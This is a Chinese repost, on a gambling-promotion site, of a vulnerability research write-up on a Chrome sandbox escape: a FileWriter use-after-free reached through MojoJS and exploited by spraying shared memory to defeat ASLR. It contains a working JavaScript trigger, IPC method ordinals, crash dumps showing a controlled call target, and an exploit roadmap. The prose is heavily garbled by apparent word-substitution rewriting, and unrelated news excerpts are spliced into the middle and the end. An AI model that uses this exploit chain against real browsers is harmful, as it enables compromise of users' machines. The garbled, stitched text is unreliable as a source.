应用ASLR薄缺点:Chrome沙箱逃逸破绽剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

应用ASLR薄缺点:Chrome沙箱逃逸破绽剖析

申博_新闻事件 申博 212次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

概述

我们在Chrome中,发明了一系列可以或许存在的沙箱逃逸破绽。在此以后,我们以为可以或许将这些破绽中的一个与渲染器存在的破绽配合应用,构成一条完整的破绽应用链,同时也可以或许让我们更好地明白古代Chrome破绽应用所需的机制。斟酌到悉数可用的破绽,最有可以或许被应用的是Issue 1755,这一Use-After-Free破绽与典范的JavaScript引擎回调破绽类似。如今看来,这是一个很好的候选者,因为攻击者对free’d对象的生命周期,和随后运用对象的时刻都具有高等其他掌握。

针对关于Mojo IPC机制怎样运作的细节,我们没有细致举行剖析,在这里先提早向列位读者透露表现歉仄。在将来,我们会宣布一些博客文章,越发细致地诠释以后Chrome沙箱界面的接口,但实际上,个中有许多须要诠释的内容。

在本文所触及的剖析历程傍边,我们运用的是官方修复此破绽前的最新稳固版本,64位Windows版本Chrome 71.0.3578.98。

预备工作

我们在研讨Chrome的Mojo IPC层时,注重到的最值得存眷的实际之一,是它实际上可以或许从Chrome中的JavaScript举行IPC挪用。将命令行标记“–enable-blink-features=MojoJS”通报给Chrome便可启用此功用。我们运用此功用,完成了一个Mojo Fuzzer,并借助该对象发明了一些破绽并上报。

在相识这一特征以后,完成完整Chrome破绽应用链的最简朴要领,就是运用渲染器破绽应用,在正在运转的渲染器中启用这些绑定,随后从JavaScript实行我们的权限提拔。

渲染器破绽应用

碰巧,_tsuro一直在致力于CVE-2019-5782的破绽应用,这是由SOrryMybad发明的破绽,并在天福杯上初次应用,其缘由在于v8 typer中存在破绽。我置信该破绽的发明者将针对其细致信息宣布文章,因而我把对细节的引见历程留给他们。

该破绽毛病地预计了“arguments.length”的可以或许局限。然后,可以或许将该破绽与JIT中的Bounds-Check-Elimination(BCE)通报一同应用。该破绽的应用要领与其他typer破绽异常类似,我们可以或许在“many_args.js”中找到破绽。须要注重的是,在_tsuro发明该破绽并提交后,v8研发团队已删除BCE优化,使得在typer中更难应用这些破绽。

在这里,主要的是,我们须要有一个稳固的破绽应用体式格局。为了启动沙箱转义,我们须要启用Mojo绑定。最简朴的要领是从新加载主框架,这意味着,我们在破坏的状态下留下的任何对象,都将公高山介入到“渣滓网络”(Garbage Collection)机制的游戏傍边。

剖析阅读器历程

经由过程阅读Chrome源代码,我们可以或许看到Mojo绑定基于成员变量nabled_bindings_添加到RenderFrameImpl::DidCreateScriptContext中的JavaScript高低文中。因而,为了模拟命令行标记,我们可以或许运用读写操纵,将该值设置为BINDINGS_POLICY_MOJO_WEB_UI,并强迫为主框架建立新的ScriptContext,我们应当可以或许接见绑定。

要猎取以后帧的RenderFrameImpl,这一历程有些痛楚。然则,经由过程追随全局高低文对象的指针链,我们可以或许找到chrome_child.dll,并找到全局g_frame_map,它是一个从blink::Frame指针到RenderFrameImpl指针的映照。为了应用这一破绽,我们假定此映照中只要一个条目。但若是要对其举行扩大,以找到最合适的一个,这一历程异常简朴。在这里,我们可以或许轻松设置准确的标记,并从新加载页面,详细可以或许拜见完成的“enable_mo.js”。

须要注重的是,Chrome会在构建时随机化IPC序列,因而除启用绑定以外,我们还须要为每一个要挪用的IPC要领找到准确的序号。在我们所运用的反汇编顺序中,可以或许几分钟以内解决题目。鉴于渲染器须要可以或许挪用这些IPC要领,若是我们试图支撑更多的Chrome构建,我们可以或许设想一个稍微烦琐的殽杂历程。但关于我们本文所运用的版本状况,下面的代码足以用来修正我们须要的JavaScript绑定。

var kBlob_GetInternalUUID_Name = 0x2538AE26;
 
var kBlobRegistry_Register_Name = 0x2158E98A;
var kBlobRegistry_RegisterFromStream_Name = 0x719E4F82;
 
var kFileSystemManager_Open_Name = 0x305E02BE;
var kFileSystemManager_CreateWriter_Name = 0x63B8D2A6;
 
var kFileWriter_Write_Name = 0x64D4FC1C;

破绽剖析

以是,我们可以或许从JavaScript接见IPC接口。那末,接下来该怎么办呢?

我们正在剖析的破绽,是FileSystem API的FileWriter接口的完成中存在的题目。下面是FileWriter接口的形貌,这是特权阅读器历程向非特权渲染器历程供应的IPC端点,许可渲染器对特别的沙箱文件体系经由过程署理实行文件写入操纵:

// Interface provided to the renderer to let a renderer write data to a file.
interface FileWriter {
 // Write data from |blob| to the given |position| in the file being written
 // to. Returns whether the operation succeeded and if so how many bytes were
 // written.
 // TODO(mek): This might need some way of reporting progress events back to
 // the renderer.
 Write(uint64 position, Blob blob) => (mojo_base.mojom.FileError result,
                                       uint64 bytes_written);
 
 // Write data from |stream| to the given |position| in the file being written
 // to. Returns whether the operation succeeded and if so how many bytes were
 // written.
 // TODO(mek): This might need some way of reporting progress events back to
 // the renderer.
 WriteStream(uint64 position, handle<data_pipe_consumer> stream) =>
       (mojo_base.mojom.FileError result, uint64 bytes_written);
 
 // Changes the length of the file to be |length|. If |length| is larger than
 // the current size of the file, the file will be extended, and the extended
 // part is filled with null bytes.
 Truncate(uint64 length) => (mojo_base.mojom.FileError result);
};

该破绽存在于第一种要领Write的完成中。然则,在我们准确明白该破绽之前,我们起首还须要相识FileWriter对象的生命周期。渲染器可以或许运用FileSystemManager接口中的一个要领来要求FileWriter实例:

// Interface provided by the browser to the renderer to carry out filesystem
// operations. All [Sync] methods should only be called synchronously on worker
// threads (and asynchronously otherwise).
interface FileSystemManager {
 // ...
 
 // Creates a writer for the given file at |file_path|.
 CreateWriter(url.mojom.Url file_path) =>
     (mojo_base.mojom.FileError result,
      blink.mojom.FileWriter? writer);
 
 // ...
};

该功用的完成可以或许在这里找到:

void FileSystemManagerImpl::CreateWriter(const GURL& file_path,
                                        CreateWriterCallback callback) {
 DCHECK_CURRENTLY_ON(BrowserThread::IO);
 
 FileSystemURL url(context_->CrackURL(file_path));
 base::Optional<base::File::Error> opt_error = ValidateFileSystemURL(url);
 if (opt_error) {
   std::move(callback).Run(opt_error.value(), nullptr);
   return;
 }
 if (!security_policy_->CanWriteFileSystemFile(process_id_, url)) {
   std::move(callback).Run(base::File::FILE_ERROR_SECURITY, nullptr);
   return;
 }
 
 blink::mojom::FileWriterPtr writer;
 mojo::MakeStrongBinding(std::make_unique<storage::FileWriterImpl>(
                             url, context_->CreateFileSystemOperationRunner(),
                             blob_storage_context_->context()->AsWeakPtr()),
                         MakeRequest(&writer));
 std::move(callback).Run(base::File::FILE_OK, std::move(writer));
}

这里的寄义是,若是一切正常,就将返回绑定到mojo::StrongBinding的std::unique_ptr<storage::FileWriterImpl>。强绑定(Strong Binding)意味着对象的生命周期将绑定到Mojo接口指针的生命周期,这也就意味着衔接的另一端可以或许掌握对象的生命周期,和storage::FileWriterImpl字段中的代码,这局部内容卖力对与该绑定相联系关系的序列举行掌握,可以或许封闭衔接,也可以或许开释实例。

这为我们供应了blink::mojom::FileWriter Mojo接口的句柄。我们感兴趣的函数是Write要领,它有一个blink::mojom::Blob的句柄作为其一个参数。我们很快就可以再次剖析这一Blob接口。

斟酌到上述状况,是时刻看看易受攻击的函数了。

void FileWriterImpl::Write(uint64_t position,
                          blink::mojom::BlobPtr blob,
                          WriteCallback callback) {
 blob_context_->GetBlobDataFromBlobPtr(
     std::move(blob),
     base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),
                    std::move(callback), position));
}

如今,在这里的题目并非很显着。但在Chrome代码库中,base::Unretained的实例显着不是准确的,这些实例一般须要我们进一步观察(将会建立一个未经搜检的未知援用,概况请参阅Chrome文档(https://www.chromium.org/developers/coding-style/important-abstractions-and-data-structures))。以是,要包管这一代码的安全性,只能包管GetBlobDataFromBlobPtr一直同步挪用回调。或许,烧毁这一代码,可以或许确保永久不会挪用回调。因为blob_context_与其权限分歧,以是我们还须要检察GetBlobDataFromBlobPtr的完成,和它运用回调的体式格局:

void BlobStorageContext::GetBlobDataFromBlobPtr(
   blink::mojom::BlobPtr blob,
   base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback) {
 DCHECK(blob);
 blink::mojom::Blob* raw_blob = blob.get();
 raw_blob->GetInternalUUID(mojo::WrapCallbackWithDefaultInvokeIfNotRun(
     base::BindOnce(
         [](blink::mojom::BlobPtr, base::WeakPtr<BlobStorageContext> context,
            base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback,
            const std::string& uuid) {
           if (!context || uuid.empty()) {
             std::move(callback).Run(nullptr);
             return;
           }
           std::move(callback).Run(context->GetBlobDataFromUUID(uuid));
         },
         std::move(blob), AsWeakPtr(), std::move(callback)),
     ""));
}

上面的代码在通报给它的Blob参数上,挪用异步Mojo IPC要领GetInternalUUID,然后在回调中,当该要领返回时,运用返回的UUID来查找联系关系的Blob数据(GetBlobDataFromUUID),并挪用回调参数,以此数据作为个中的参数。

我们可以或许看到,回调被通报给Blob接口公然的异步Mojo函数所返回的回调:

// This interface provides access to a blob in the blob system.
interface Blob {
 // Creates a copy of this Blob reference.
 Clone(Blob& blob);
 
 // Creates a reference to this Blob as a DataPipeGetter.
 AsDataPipeGetter(network.mojom.DataPipeGetter& data_pipe_getter);
 
 // Causes the entire contents of this blob to be written into the given data
 // pipe. An optional BlobReaderClient will be informed of the result of the
 // read operation.
 ReadAll(handle<data_pipe_producer> pipe, BlobReaderClient? client);
 
 // Causes a subrange of the contents of this blob to be written into the
 // given data pipe. If |length| is -1 (uint64_t max), the range's end is
 // unbounded so the entire contents are read starting at |offset|. An
 // optional BlobReaderClient will be informed of the result of the read
 // operation.
 ReadRange(uint64 offset, uint64 length, handle<data_pipe_producer> pipe,
           BlobReaderClient? client);
 
 // Reads the side-data (if any) associated with this blob. This is the same
 // data that would be passed to OnReceivedCachedMetadata if you were reading
 // this blob through a blob URL.
 ReadSideData() => (array<uint8>? data);
 
 // This method is an implementation detail of the blob system. You should not
 // ever need to call it directly.
 // This returns the internal UUID of the blob, used by the blob system to
 // identify the blob.
 GetInternalUUID() => (string uuid);
};

这意味着,我们可以或许在渲染器历程中供应此Blob接口的完成,将该完成通报给FileWriter接口的Write要领,我们将在实行GetBlobDataFromBlobPtr时期从阅读器历程到渲染器历程举行回调,在此时期我们可以或许烧毁FileWriter对象。不管这类回调怎样,运用base::Unretained都是风险的,然则以这类体式格局举行支配,将会使之变得越发清楚。

步调1:触发器

起首,我们须要实际抵达破绽。这里是我们运用的一个最小化触发器,应用我们此前启用的MojoJS绑定的JS。一个完整的示例将附加到Bugtracker条目,文件名为“trigger.js”。

async function trigger() {
 // we need to know the UUID for a valid Blob
 let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
 Mojo.bindInterface(blink.mojom.BlobRegistry.name,
                    mojo.makeRequest(blob_registry_ptr).handle, "process");
 
 let bytes_provider = new BytesProviderImpl();
 let bytes_provider_ptr = new blink.mojom.BytesProviderPtr();
 bytes_provider.binding.bind(mojo.makeRequest(bytes_provider_ptr));
 
 let blob_ptr = new blink.mojom.BlobPtr();
 let blob_req = mojo.makeRequest(blob_ptr);
 
 let data_element = new blink.mojom.DataElement();
 data_element.bytes = new blink.mojom.DataElementBytes();
 data_element.bytes.length = 1;
 data_element.bytes.embeddedData = [0];
 data_element.bytes.data = bytes_provider_ptr;
 
 await blob_registry_ptr.register(blob_req, 'aaaa', "text/html", "", [data_element]);
 
 // now we have a valid UUID, we can trigger the bug
 let file_system_manager_ptr = new blink.mojom.FileSystemManagerPtr();
 Mojo.bindInterface(blink.mojom.FileSystemManager.name,
                    mojo.makeRequest(file_system_manager_ptr).handle, "process");
 
 let host_url = new url.mojom.Url();
 host_url.url = window.location.href;
 
 let open_result = await file_system_manager_ptr.open(host_url, 0);
 
 let file_url = new url.mojom.Url();
 file_url.url = open_result.rootUrl.url + '/aaaa';
 
 let file_writer = (await file_system_manager_ptr.createWriter(file_url)).writer;
 
 function BlobImpl() {
   this.binding = new mojo.Binding(blink.mojom.Blob, this);
 }
 
 BlobImpl.prototype = {
   getInternalUUID: async (arg0) => {
     // here we free the FileWriterImpl in the callback
     create_writer_result.writer.ptr.reset();
 
     return {'uuid': 'aaaa'};
   }
 };
 
 let blob_impl = new BlobImpl();
 let blob_impl_ptr = new blink.mojom.BlobPtr();
 blob_impl.binding.bind(mojo.makeRequest(blob_impl_ptr));
 
 file_writer.write(0, blob_impl_ptr);
}

步调2:替换

只管终究可以或许没有多大用途,然则我一般喜好用完整受攻击者掌握的数据替换对象,来最先Use-After-Free的破绽应用历程。只管没有ASLR绕过或信息走漏,因而我们不太可以或许对这个原语做任何有意义的事变,然则这一历程一般有助于我们明白所触及对象四周的分派形式,而且这里给出了明白的瓦解信息,这关于证实破绽的可应用性是异常有资助的。

在我们所运用的Windows状况中,FileWriterImpl的巨细为0x140字节。我末了直接斟酌运用JavaScript Blob API建立分派,但这会致使大批雷同巨细的暂时分派,会明显下降牢靠性。在阅读器历程中,运用受掌握数据分派受掌握巨细的更好要领,是运用BlobRegistry registerFromStream要领注册新的Blob,在初始挪用registerFromStream时期将实行一切辅佐分派。然后,我们可以或许经由过程将数据写入DataPipeProducerHandle的体式格局,来触发所需巨细和内容的单个分派。

我们可以或许测试这一状况(拜见trigger_replace.js),实际上,它确切应用一个包罗完整受掌握字节的缓冲区,牢靠地替换了free’d对象,并以我们希冀的体式格局完成了瓦解:

影响国人的挖矿恶意软件新变种已蔓延海外

趋势科技曾在2019年初在中国的大陆、台湾和香港地区发现了一类新的门罗币挖矿恶意软件变种,此恶意软件通过多种传播感染方法在系统和服务器中大肆植入加密货币挖矿机。在我们之前观测的样本中,其感染方式包括弱密码测试,以及使用哈希传

(1594.226c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chrome!storage::FileSystemOperationRunner::GetMetadata+0x33:
00007ffc`362a1a99 488b4908        mov     rcx,qword ptr [rcx+8] ds:23232323`2323232b=????????????????
0:002> r
rax=0000ce61f98b376e rbx=0000021b30eb4bd0 rcx=2323232323232323
rdx=0000021b30eb4bd0 rsi=0000005ae4ffe3e0 rdi=2323232323232323
rip=00007ffc362a1a99 rsp=0000005ae4ffe2f0 rbp=0000005ae4ffe468
r8=0000005ae4ffe35c  r9=0000005ae4ffe3e0 r10=0000021b30badbf0
r11=0000000000000000 r12=0000000000000000 r13=0000005ae4ffe470
r14=0000000000000001 r15=0000005ae4ffe3e8
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
chrome!storage::FileSystemOperationRunner::GetMetadata+0x33:
00007ffc`362a1a99 488b4908        mov     rcx,qword ptr [rcx+8] ds:23232323`2323232b=????????????????
0:002> k
# Child-SP          RetAddr           Call Site
00 0000005a`e4ffe2f0 00007ffc`362a74ed chrome!storage::FileSystemOperationRunner::GetMetadata+0x33 01 0000005a`e4ffe3a0 00007ffc`362a7aef chrome!storage::FileWriterImpl::DoWrite+0xed
…

步调3:信息走漏

当我们须要能在个中安排有效指针时,掌握free’d对象中的数据好像并没有太多用途。因而,此时我们须要斟酌怎样运用free’d对象,而且应当斟酌有哪些选项可以或许用于运用分歧范例的对象来替换free’d对象。实质上,可以或许将Use-After-Free转换为范例殽杂,这将对我们有所资助。

在WinDBG中检察雷同巨细的对象,我们没有获得任何直接的谜底。而且,因为从DoWrite挪用的大多数要领都黑白假造的,以是我们实际上须要相称大批的构造,能力替换掉准确的对象。

void FileWriterImpl::DoWrite(WriteCallback callback,
                            uint64_t position,
                            std::unique_ptr<BlobDataHandle> blob) {
 if (!blob) {
   std::move(callback).Run(base::File::FILE_ERROR_FAILED, 0);
   return;
 }
 // FileSystemOperationRunner assumes that positions passed to Write are always
 // valid, and will NOTREACHED() if that is not the case, so first check the
 // size of the file to make sure the position passed in from the renderer is
 // in fact valid.
 // Of course the file could still change between checking its size and the
 // write operation being started, but this is at least a lot better than the
 // old implementation where the renderer only checks against how big it thinks
 // the file currently is.
 operation_runner_->GetMetadata(
     url_, FileSystemOperation::GET_METADATA_FIELD_SIZE,
     base::BindRepeating(&FileWriterImpl::DoWriteWithFileInfo,
                         base::Unretained(this),
                         base::AdaptCallbackForRepeating(std::move(callback)),
                         position, base::Passed(std::move(blob))));
}

以是,我们将运用从free’d对象内部猎取的this指针,对FileSystemOperationRunner::GetMetadata举行非假造挪用:

OperationID FileSystemOperationRunner::GetMetadata(
   const FileSystemURL& url,
   int fields,
   GetMetadataCallback callback) {
 base::File::Error error = base::File::FILE_OK;
 std::unique_ptr<FileSystemOperation> operation = base::WrapUnique(
     file_system_context_->CreateFileSystemOperation(url, &error));
 ...
}

步调4:信息走漏(第2轮)

我们已厌倦了长时刻盯着调试器中的构造结构,因而如今是时刻斟酌一下替换计划了。Windows上的ASLR完成,意味着若是在多个历程中加载雷同的库,它们将位于雷同的基址。因而,渲染器中加载的任何库,都将加载到阅读器历程中的已知地点。

我们可以或许用FileSystemOperationRunner替换一些对象,将FileSystemContext指针分列为受掌握的字符串数据。我们可以或许应用它来捏造backend_map_的第一个(最先)节点,并指向我们可以或许找到的个中一个模块的数据局部,而且准确分列,以便我们可以或许查找第一个条目。这只须要一组更小的束缚:

ptr = getPtr(address)
 
getUint8(ptr + 0x19) == 0
getUint32(ptr + 0x20) == 0
obj = getPtr(ptr + 0x28)
 
vtable = getPtr(obj)
 
function = getPtr(vtable + 0x38)

遗憾的是,知足这些束缚的地点集并没有真正发作任何有效的原语。

步调5:ASLR绕过

此时,我们险些要预备摒弃了。然则,这时候我们想起了与Issue 1642相干的一个新鲜征象,这是Mojo中心代码中的一个破绽。特别是,当Mojo衔接的吸收端收到DataPipe*Dispatcher对象时,它将马上映照联系关系的同享内存段(映照发作在对InitializeNoLock的挪用中)。

因为阅读器历程中没有内存或假造地点空间的限定,这表明实际上,若是我们可以或许运用同享内存映照简朴地放射阅读器的假造地点空间,我们可以或许完整绕过ASLR,而不会涌现信息走漏题目。须要注重的是,渲染器限定依然存在,因而我们须要找到一种要领来实行此操纵,而且不会超越渲染器的限定。在渲染器中运转本机代码相称简朴,我们可以或许简朴地将句柄复制到同一个同享内存页面,偏重复发送它们,然则留在JavaScript中应当是一个不错的选项。

检察MojoJS绑定中MojoHandle接口的IDL,我们可以或许注重到,只管我们没法克隆DataPipe句柄,但我们可以或许克隆SharedBuffer句柄。

interface MojoHandle {
  ...
 
  // TODO(alokp): Create MojoDataPipeProducerHandle and MojoDataPipeConsumerHandle,
  // subclasses of MojoHandle and move the following member functions.
  MojoWriteDataResult writeData(BufferSource buffer, optional MojoWriteDataOptions options);
 MojoReadDataResult queryData();
  MojoReadDataResult discardData(unsigned long numBytes, optional MojoDiscardDataOptions options);
  MojoReadDataResult readData(BufferSource buffer, optional MojoReadDataOptions options);
 
  // TODO(alokp): Create MojoSharedBufferHandle, a subclass of MojoHandle
  // and move the following member functions.
  MojoMapBufferResult mapBuffer(unsigned long offset, unsigned long numBytes);
  MojoCreateSharedBufferResult duplicateBufferHandle(optional MojoDuplicateBufferHandleOptions options);
};

遗憾的是,SharedBuffers在阅读器历程接口中的运用频次较低,而且在反序列化时不会自动映照,因而它对我们来讲没有太大的资助。然则,因为SharedBuffers和DataPipes都支撑雷同的操纵体系级原语,我们依然可以或许应用它来施展肯定作用。经由过程建立具有较小同享内存、雷同数目的DataPipe,和单个较大的SharedBuffer的克隆,我们可以或许运用恣意读写,来交流备份缓冲区。

应用ASLR薄缺点:Chrome沙箱逃逸破绽剖析

正如在上面的VMMap截图中所看到的那样,这是一种有效且快速的要领。第一次测试中,我们举行了16TB的放射,这有些夸大,但在实际中,约莫只需3.5TB就足以获得牢靠、可展望的地点。末了,我们有机会在古代64位Chrome的破绽应用中,援用SkyLined发明的MS04-040破绽应用。

rax=00000404040401e8 rbx=000001fdba193480 rcx=00000404040401e8
rdx=000001fdba193480 rsi=00000002f39fe97c rdi=00000404040400b0
rip=00007ffd87270258 rsp=00000002f39fe8c0 rbp=00000002f39fea88
r8=00000404040400b0  r9=00000002f39fe8e4 r10=00000404040401f0
r11=0000000000000000 r12=0000000000000000 r13=00000002f39fea90
r14=0000000000000001 r15=00000002f39fea08
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
chrome!storage::FileSystemContext::CreateFileSystemOperation+0x4c:
00007ffd`87270258 41ff5238        call    qword ptr [r10+38h] ds:00000404`04040228=4141414141414141

路线图

在末了,我们清点一些我们须要的一切“重型机械”,其他的都只是详细实践的工程题目。以细节为导向,我们可以或许在Bugtracker中找到一个完整的、有效的破绽应用顺序,从而就应当可以或许辨认处置惩罚破绽的一切后续阶段的代码:

1. 渲染器中恣意读写题目

(1) 启用MojoJS绑定

(2) 运转沙箱逃逸

2. 沙箱逃逸

(1) 渲染器中恣意读写题目(再次应用)

(2) 在渲染器地点空间中,找到Pivots和渲染器地点空间中的ROP链

(3) 构建将要在阅读器地点空间中放射的数据页面,个中包罗伪FileSystemOperationRunner、FileSystemContext、FileSystemBackend对象

(4) 触发破绽

(5) 将free’d FileWriterImpl替换为捏造的对象,该对象将运用我们的放射内容作为FileSystemOperationRunner指针定位的地点

(6) 将我们在2(3)中构建的页面的约4TB副本放射进入阅读器历程地点空间

(7) 在阅读器历程中从渲染器返回到FileWriterImpl::DoWrite,转到我们的ROP链和Payload

(8) 弹出计算器

(9) 清算,以便阅读器可以或许继承运转

总结

如今,我们已可以或许在ASLR完成中应用其微缺点来完成破绽应用,而不再须要信息走漏。

有两个症结的ASLR微缺点,可以或许牢靠地应用这个破绽:

1. Windows上没有举行历程间随机化(Inter-Process Randomisation),如许致使可以或许在目的历程中定位有效的代码地点,而不会发送信息走漏。一样,macOS和iOS上也存在这一题目。

2. Chrome阅读器历程中的地点空间运用没有举行限定,致使可以或许展望堆放射中的有效数据地点。

若是没有这两个原语,那末对这一破绽的应用将会变得越发难题,而且多是破绽应用不再可用(比方:须要继承寻觅其他破绽举行应用,或许Use-After-Free以后不能完成信息走漏)。

CVE-2019-0859:win32k.sys 0 day漏洞

卡巴斯基的automatic Exploit Prevention (EP)系统又发现Windows操作系统中的一个漏洞利用。研究人员进一步分享发现是win32k.sys中的一个0 day漏洞。这是卡巴斯基近期发现的Windows系统中的第5个本地权限提升漏洞,前4个分别是: · CVE-


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明应用ASLR薄缺点:Chrome沙箱逃逸破绽剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址